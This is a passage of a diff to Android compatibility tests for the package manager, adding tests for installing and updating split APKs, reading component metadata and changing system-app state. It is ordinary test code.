+        setSystemProperty("debug.incremental.always_enable_read_timeouts_for_system_dataloaders",
+                "1");
+        IoUtils.closeQuietly(mSession);
+        mSession = null;
+    }
+
+    private void setDeviceProperty(String name, String value) {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PACKAGE_MANAGER_SERVICE, name, value,
+                    false);
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private void setSystemProperty(String name, String value) throws Exception {
+        executeShellCommand("setprop " + name + " " + value);
+    }
+
 }
 
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index d401e62..f25006f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -27,17 +27,20 @@
 
 import android.app.UiAutomation;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.pm.DataLoaderParams;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
 import android.os.ParcelFileDescriptor;
-import android.os.incremental.IncrementalManager;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -51,9 +54,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.List;
 import java.util.Optional;
 import java.util.Random;
 import java.util.stream.Collectors;
@@ -77,6 +78,9 @@
     private static final String TEST_HW7_SPLIT3 = "HelloWorld7_xxhdpi-v4.apk";
     private static final String TEST_HW7_SPLIT4 = "HelloWorld7_xxxhdpi-v4.apk";
 
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
     @Parameter
     public int mDataLoaderType;
 
@@ -89,7 +93,6 @@
     private boolean mStreaming = false;
     private boolean mIncremental = false;
     private String mInstall = "";
-    private List<Integer> mSessionIds = new ArrayList<>();
 
     private static PackageInstaller getPackageInstaller() {
         return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
@@ -153,7 +156,7 @@
     @Before
     public void onBefore() throws Exception {
         // Check if Incremental is allowed and revert to non-dataloader installation.
-        if (mDataLoaderType == DATA_LOADER_TYPE_INCREMENTAL && !IncrementalManager.isAllowed()) {
+        if (mDataLoaderType == DATA_LOADER_TYPE_INCREMENTAL && !checkIncrementalDeliveryFeature()) {
             mDataLoaderType = DATA_LOADER_TYPE_NONE;
         }
 
@@ -165,8 +168,6 @@
 
         uninstallPackageSilently(TEST_APP_PACKAGE);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-
-        mSessionIds.clear();
     }
 
     @After
@@ -174,13 +175,12 @@
         uninstallPackageSilently(TEST_APP_PACKAGE);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals(null, getSplits(TEST_APP_PACKAGE));
+    }
 
-        for (int sessionId : mSessionIds) {
-            try {
-                getPackageInstaller().abandonSession(sessionId);
-            } catch (SecurityException ignored) {
-            }
-        }
+    private boolean checkIncrementalDeliveryFeature() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        return context.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INCREMENTAL_DELIVERY);
     }
 
     @Test
@@ -197,8 +197,7 @@
         File file = new File(createApkPath(TEST_HW5));
         String command = "pm " + mInstall + " -t -g " + file.getPath() + (new Random()).nextLong();
         String commandResult = executeShellCommand(command);
-        assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
-                commandResult);
+        assertEquals("Failure [failed to add file(s)]\n", commandResult);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
     }
 
@@ -214,8 +213,7 @@
         String commandResult = executeShellCommand("pm " + mInstall + " -t -g -S " + file.length(),
                 new File[]{});
         if (mIncremental) {
-            assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
-                    commandResult);
+            assertTrue(commandResult, commandResult.startsWith("Failure ["));
         } else {
             assertTrue(commandResult,
                     commandResult.startsWith("Failure [INSTALL_PARSE_FAILED_NOT_APK"));
@@ -282,13 +280,44 @@
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
-        installSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+        updateSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
                 TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
     }
 
+
+    @Test
+    public void testSplitsAdd() throws Exception {
+        installSplits(new String[]{TEST_HW5});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base", getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT0});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi", getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT1});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT2});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT3});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
     @Test
     public void testSplitsUpdateStdIn() throws Exception {
         installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
@@ -324,8 +353,25 @@
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
-        installSplitsBatch(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
-                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        updateSplitsBatch(
+                new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                        TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsBatchAdd() throws Exception {
+        installSplitsBatch(new String[]{TEST_HW5});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base", getSplits(TEST_APP_PACKAGE));
+
+        updateSplitsBatch(new String[]{TEST_HW5_SPLIT0, TEST_HW5_SPLIT1});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+
+        updateSplitsBatch(new String[]{TEST_HW5_SPLIT2, TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
@@ -423,7 +469,7 @@
 
             final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
 
-            final int sessionId = createSession(params);
+            final int sessionId = installer.createSession(params);
             PackageInstaller.Session session = installer.openSession(sessionId);
 
             assertEquals(null, session.getDataLoaderParams());
@@ -451,7 +497,7 @@
                     mIncremental ? DataLoaderParams.forIncremental(componentName, args)
                             : DataLoaderParams.forStreaming(componentName, args));
 
-            final int sessionId = createSession(params);
+            final int sessionId = installer.createSession(params);
             PackageInstaller.Session session = installer.openSession(sessionId);
 
             DataLoaderParams dataLoaderParams = session.getDataLoaderParams();
@@ -485,7 +531,7 @@
                     mIncremental ? DataLoaderParams.forIncremental(componentName, args)
                             : DataLoaderParams.forStreaming(componentName, args));
 
-            final int sessionId = createSession(params);
+            final int sessionId = installer.createSession(params);
             PackageInstaller.Session session = installer.openSession(sessionId);
 
             session.addFile(LOCATION_DATA_APP, "base.apk", 123, "123".getBytes(), null);
@@ -505,12 +551,6 @@
         }
     }
 
-    private int createSession(SessionParams params) throws IOException {
-        int sessionId = getPackageInstaller().createSession(params);
-        mSessionIds.add(sessionId);
-        return sessionId;
-    }
-
     private String createUpdateSession(String packageName) throws IOException {
         return createSession("-p " + packageName);
     }
@@ -521,10 +561,7 @@
         final String commandResult = executeShellCommand("pm install-create " + arg);
         assertTrue(commandResult, commandResult.startsWith(prefix));
         assertTrue(commandResult, commandResult.endsWith(suffix));
-        String sessionId = commandResult.substring(prefix.length(),
-                commandResult.length() - suffix.length());
-        mSessionIds.add(Integer.parseInt(sessionId));
-        return sessionId;
+        return commandResult.substring(prefix.length(), commandResult.length() - suffix.length());
     }
 
     private void addSplits(String sessionId, String[] splitNames) throws IOException {
@@ -611,6 +648,18 @@
         commitSession(sessionId);
     }
 
+    private void updateSplits(String[] baseNames) throws IOException {
+        if (mStreaming) {
+            updateSplitsBatch(baseNames);
+            return;
+        }
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        String sessionId = createSession("-p " + TEST_APP_PACKAGE);
+        addSplits(sessionId, splits);
+        commitSession(sessionId);
+    }
+
     private void installSplitsStdInStreaming(String[] splits) throws IOException {
         File[] files = Arrays.stream(splits).map(split -> new File(split)).toArray(File[]::new);
         String param = Arrays.stream(files).map(
@@ -631,12 +680,20 @@
     }
 
     private void installSplitsBatch(String[] baseNames) throws IOException {
-        String[] splits = Arrays.stream(baseNames).map(
+        final String[] splits = Arrays.stream(baseNames).map(
                 baseName -> createApkPath(baseName)).toArray(String[]::new);
         assertEquals("Success\n",
                 executeShellCommand("pm " + mInstall + " -t -g " + String.join(" ", splits)));
     }
 
+    private void updateSplitsBatch(String[] baseNames) throws IOException {
+        final String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        assertEquals("Success\n", executeShellCommand(
+                "pm " + mInstall + " -p " + TEST_APP_PACKAGE + " -t -g " + String.join(" ",
+                        splits)));
+    }
+
     private String uninstallPackageSilently(String packageName) throws IOException {
         return executeShellCommand("pm uninstall " + packageName);
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 726e5de..1703a91 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -25,6 +25,13 @@
 import static android.content.pm.PackageManager.GET_PROVIDERS;
 import static android.content.pm.PackageManager.GET_RECEIVERS;
 import static android.content.pm.PackageManager.GET_SERVICES;
+import static android.content.pm.PackageManager.MATCH_APEX;
+import static android.content.pm.PackageManager.MATCH_DISABLED_COMPONENTS;
+import static android.content.pm.PackageManager.MATCH_FACTORY_ONLY;
+import static android.content.pm.PackageManager.MATCH_HIDDEN_UNTIL_INSTALLED_COMPONENTS;
+import static android.content.pm.PackageManager.MATCH_INSTANT;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -37,13 +44,21 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
 
+import android.annotation.NonNull;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.cts.MockActivity;
+import android.content.cts.MockContentProvider;
+import android.content.cts.MockReceiver;
+import android.content.cts.MockService;
 import android.content.cts.R;
 import android.content.pm.ActivityInfo;
 import android.content.pm.ApplicationInfo;
+import android.content.pm.ComponentInfo;
 import android.content.pm.InstrumentationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageItemInfo;
@@ -55,6 +70,12 @@
 import android.content.pm.ResolveInfo;
 import android.content.pm.ServiceInfo;
 import android.content.pm.Signature;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.content.res.XmlResourceParser;
+import android.os.Bundle;
+import android.os.SystemClock;
 import android.os.SystemProperties;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
@@ -64,14 +85,23 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashSet;
 import java.util.Iterator;
 import java.util.List;
+import java.util.Set;
+import java.util.function.Consumer;
 import java.util.stream.Collectors;
 
 /**
@@ -84,6 +114,7 @@
 public class PackageManagerTest {
     private static final String TAG = "PackageManagerTest";
 
+    private Context mContext;
     private PackageManager mPackageManager;
     private static final String PACKAGE_NAME = "android.content.cts";
     private static final String CONTENT_PKG_NAME = "android.content.cts";
@@ -109,9 +140,35 @@
 
     private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
 
+    private static final int[] PACKAGE_INFO_MATCH_FLAGS = {MATCH_UNINSTALLED_PACKAGES,
+            MATCH_DISABLED_COMPONENTS, MATCH_SYSTEM_ONLY, MATCH_FACTORY_ONLY, MATCH_INSTANT,
+            MATCH_APEX, MATCH_HIDDEN_UNTIL_INSTALLED_COMPONENTS};
+
+    private static final String SAMPLE_APK_BASE = "/data/local/tmp/cts/content/";
+    private static final String LONG_PACKAGE_NAME_APK = SAMPLE_APK_BASE
+            + "CtsContentLongPackageNameTestApp.apk";
+    private static final String LONG_SHARED_USER_ID_APK = SAMPLE_APK_BASE
+            + "CtsContentLongSharedUserIdTestApp.apk";
+    private static final String MAX_PACKAGE_NAME_APK = SAMPLE_APK_BASE
+            + "CtsContentMaxPackageNameTestApp.apk";
+    private static final String MAX_SHARED_USER_ID_APK = SAMPLE_APK_BASE
+            + "CtsContentMaxSharedUserIdTestApp.apk";
+    private static final String EMPTY_APP_PACKAGE_NAME = "android.content.cts.emptytestapp";
+    private static final String EMPTY_APP_MAX_PACKAGE_NAME = "android.content.cts.emptytestapp27j"
+            + "EBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVd"
+            + "iRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPN"
+            + "dqkRLykoFLyBup53G68k2n8w";
+
     @Before
     public void setup() throws Exception {
-        mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(EMPTY_APP_PACKAGE_NAME);
+        uninstallPackage(EMPTY_APP_MAX_PACKAGE_NAME);
     }
 
     @Test
@@ -147,7 +204,7 @@
         // Test queryIntentServices
         Intent serviceIntent = new Intent(SERVICE_ACTION_NAME);
         List<ResolveInfo> services = mPackageManager.queryIntentServices(serviceIntent,
-                PackageManager.GET_INTENT_FILTERS);
+                0 /*flags*/);
         checkServiceInfoName(SERVICE_NAME, services);
 
         // Test queryBroadcastReceivers
@@ -267,8 +324,8 @@
         assertEquals(RECEIVER_NAME, mPackageManager.getReceiverInfo(receiverName, 0).name);
 
         // Test getPackageArchiveInfo
-        final String apkRoute = InstrumentationRegistry.getContext().getPackageCodePath();
-        final String apkName = InstrumentationRegistry.getContext().getPackageName();
+        final String apkRoute = mContext.getPackageCodePath();
+        final String apkName = mContext.getPackageName();
         assertEquals(apkName, mPackageManager.getPackageArchiveInfo(apkRoute, 0).packageName);
 
         // Test getPackagesForUid, getNameForUid
@@ -315,6 +372,14 @@
         // Test isSafeMode. Because the test case will not run in safe mode, so
         // the return will be false.
         assertFalse(mPackageManager.isSafeMode());
+
+        // Test getTargetSdkVersion
+        int expectedTargetSdk = mPackageManager.getApplicationInfo(PACKAGE_NAME, 0)
+                .targetSdkVersion;
+        assertEquals(expectedTargetSdk, mPackageManager.getTargetSdkVersion(PACKAGE_NAME));
+        assertThrows(PackageManager.NameNotFoundException.class,
+                () -> mPackageManager.getTargetSdkVersion(
+                        "android.content.cts.non_existent_package"));
     }
 
     private void checkPackagesNameForUid(String expectedName, String[] uid) {
@@ -547,8 +612,7 @@
         // Test resolveService
         intent = new Intent(SERVICE_ACTION_NAME);
         intent.setComponent(new ComponentName(PACKAGE_NAME, SERVICE_NAME));
-        ResolveInfo resolveInfo = mPackageManager.resolveService(intent,
-                PackageManager.GET_INTENT_FILTERS);
+        ResolveInfo resolveInfo = mPackageManager.resolveService(intent, 0 /*flags*/);
         assertEquals(SERVICE_NAME, resolveInfo.serviceInfo.name);
 
         // Test resolveContentProvider
@@ -573,9 +637,25 @@
     }
 
     @Test
+    public void testGetResources_withConfig() throws NameNotFoundException {
+        int resourceId = R.string.config_overridden_string;
+        ApplicationInfo appInfo = mPackageManager.getApplicationInfo(PACKAGE_NAME, 0);
+
+        Configuration c1 = new Configuration(mContext.getResources().getConfiguration());
+        c1.orientation = Configuration.ORIENTATION_PORTRAIT;
+        assertEquals("default", mPackageManager.getResourcesForApplication(
+                appInfo, c1).getString(resourceId));
+
+        Configuration c2 = new Configuration(mContext.getResources().getConfiguration());
+        c2.orientation = Configuration.ORIENTATION_LANDSCAPE;
+        assertEquals("landscape", mPackageManager.getResourcesForApplication(
+                appInfo, c2).getString(resourceId));
+    }
+
+    @Test
     public void testGetPackageArchiveInfo() throws Exception {
-        final String apkPath = InstrumentationRegistry.getContext().getPackageCodePath();
-        final String apkName = InstrumentationRegistry.getContext().getPackageName();
+        final String apkPath = mContext.getPackageCodePath();
+        final String apkName = mContext.getPackageName();
 
         final int flags = PackageManager.GET_SIGNATURES;
 
@@ -618,7 +698,7 @@
 
     @Test
     public void testGetPackageUid() throws NameNotFoundException {
-        int userId = InstrumentationRegistry.getContext().getUserId();
+        int userId = mContext.getUserId();
         int expectedUid = UserHandle.getUid(userId, 1000);
 
         assertEquals(expectedUid, mPackageManager.getPackageUid("android", 0));
@@ -675,6 +755,19 @@
                 "android.permission.ACCESS_NETWORK_STATE",
                 "android.content.cts.permission.TEST_GRANTED");
 
+        // Check usesPermissionFlags
+        for (int i = 0; i < pkgInfo.requestedPermissions.length; i++) {
+            final String name = pkgInfo.requestedPermissions[i];
+            final int flags = pkgInfo.requestedPermissionsFlags[i];
+            final boolean neverForLocation = (flags
+                    & PackageInfo.REQUESTED_PERMISSION_NEVER_FOR_LOCATION) != 0;
+            if ("android.content.cts.permission.TEST_GRANTED".equals(name)) {
+                assertTrue(name + " with flags " + flags, neverForLocation);
+            } else {
+                assertFalse(name + " with flags " + flags, neverForLocation);
+            }
+        }
+
         // Check declared permissions
         PermissionInfo declaredPermission = (PermissionInfo) findPackageItemOrFail(
                 pkgInfo.permissions, CALL_ABROAD_PERMISSION_NAME);
@@ -871,6 +964,60 @@
     }
 
     @Test
+    public void testSetSystemAppHiddenUntilInstalled() throws Exception {
+        String packageToManipulate = "com.android.cts.ctsshim";
+        try {
+            mPackageManager.getPackageInfo(packageToManipulate, MATCH_SYSTEM_ONLY);
+        } catch (NameNotFoundException e) {
+            Log.i(TAG, "Device doesn't have " + packageToManipulate + " installed, skipping");
+            return;
+        }
+
+        try {
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_UNINSTALLED));
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_HIDDEN_UNTIL_INSTALLED_HIDDEN));
+
+            // Setting the state to SYSTEM_APP_STATE_UNINSTALLED is an async operation in
+            // PackageManagerService with no way to listen for completion, so poll until the
+            // app is no longer found.
+            int pollingPeriodMs = 100;
+            int timeoutMs = 1000;
+            long startTimeMs = SystemClock.elapsedRealtime();
+            boolean isAppStillVisible = true;
+            while (SystemClock.elapsedRealtime() < startTimeMs + timeoutMs) {
+                try {
+                    mPackageManager.getPackageInfo(packageToManipulate, MATCH_SYSTEM_ONLY);
+                } catch (NameNotFoundException e) {
+                    // expected, stop polling
+                    isAppStillVisible = false;
+                    break;
+                }
+                Thread.sleep(pollingPeriodMs);
+            }
+            if (isAppStillVisible) {
+                fail(packageToManipulate + " should not be found via getPackageInfo.");
+            }
+        } finally {
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_INSTALLED));
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_HIDDEN_UNTIL_INSTALLED_VISIBLE));
+            try {
+                mPackageManager.getPackageInfo(packageToManipulate, MATCH_SYSTEM_ONLY);
+            } catch (NameNotFoundException e) {
+                fail(packageToManipulate
+                        + " should be found via getPackageInfo after re-enabling.");
+            }
+        }
+    }
+
+    @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_MatchesApex() throws Exception {
         assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
 
@@ -959,6 +1106,195 @@
         assertWithMessage("Shim apex wasn't supposed to be found").that(shimApex).isEmpty();
     }
 
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with all components in this
+     * package will only be filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InPackage() throws Exception {
+        final PackageInfo info = mPackageManager.getPackageInfo(PACKAGE_NAME,
+                GET_ACTIVITIES | GET_SERVICES | GET_RECEIVERS | GET_PROVIDERS);
+
+        assertThat(info.applicationInfo.metaData).isNull();
+        Arrays.stream(info.activities).forEach(i -> assertThat(i.metaData).isNull());
+        Arrays.stream(info.services).forEach(i -> assertThat(i.metaData).isNull());
+        Arrays.stream(info.receivers).forEach(i -> assertThat(i.metaData).isNull());
+        Arrays.stream(info.providers).forEach(i -> assertThat(i.metaData).isNull());
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this application will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InApplication() throws Exception {
+        final ApplicationInfo ai = mPackageManager.getApplicationInfo(PACKAGE_NAME, /* flags */ 0);
+        assertThat(ai.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this activity will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InActivity() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockActivity.class);
+        final ActivityInfo info = mPackageManager.getActivityInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this service will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InService() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockService.class);
+        final ServiceInfo info = mPackageManager.getServiceInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this receiver will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InBroadcastReceiver() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockReceiver.class);
+        final ActivityInfo info = mPackageManager.getReceiverInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this provider will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InContentProvider() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockContentProvider.class);
+        final ProviderInfo info = mPackageManager.getProviderInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with all components in this
+     * package will not be filled in if the {@link PackageManager#GET_META_DATA} flag is not set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InPackage() throws Exception {
+        final PackageInfo info = mPackageManager.getPackageInfo(PACKAGE_NAME,
+                GET_META_DATA | GET_ACTIVITIES | GET_SERVICES | GET_RECEIVERS | GET_PROVIDERS);
+
+        checkMetaData(new PackageItemInfo(info.applicationInfo));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.activities, "android.content.cts.MockActivity")));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.services, "android.content.cts.MockService")));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.receivers, "android.content.cts.MockReceiver")));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.providers, "android.content.cts.MockContentProvider")));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this application will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InApplication() throws Exception {
+        final ApplicationInfo ai = mPackageManager.getApplicationInfo(PACKAGE_NAME, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(ai));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this activity will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InActivity() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockActivity.class);
+        final ActivityInfo ai = mPackageManager.getActivityInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(ai));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this service will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InService() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockService.class);
+        final ServiceInfo info = mPackageManager.getServiceInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(info));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this receiver will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InBroadcastReceiver() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockReceiver.class);
+        final ActivityInfo info = mPackageManager.getReceiverInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(info));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this provider will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InContentProvider() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockContentProvider.class);
+        final ProviderInfo info = mPackageManager.getProviderInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(info));
+    }
+
+    private void checkMetaData(@NonNull PackageItemInfo ci)
+            throws IOException, XmlPullParserException, NameNotFoundException {
+        final Bundle metaData = ci.metaData;
+        final Resources res = mPackageManager.getResourcesForApplication(ci.packageName);
+        assertWithMessage("No meta-data found").that(metaData).isNotNull();
+
+        assertThat(metaData.getString("android.content.cts.string")).isEqualTo("foo");
+        assertThat(metaData.getBoolean("android.content.cts.boolean")).isTrue();
+        assertThat(metaData.getInt("android.content.cts.integer")).isEqualTo(100);
+        assertThat(metaData.getInt("android.content.cts.color")).isEqualTo(0xff000000);
+        assertThat(metaData.getFloat("android.content.cts.float")).isEqualTo(100.1f);
+        assertThat(metaData.getInt("android.content.cts.reference")).isEqualTo(R.xml.metadata);
+
+        XmlResourceParser xml = null;
+        TypedArray a = null;
+        try {
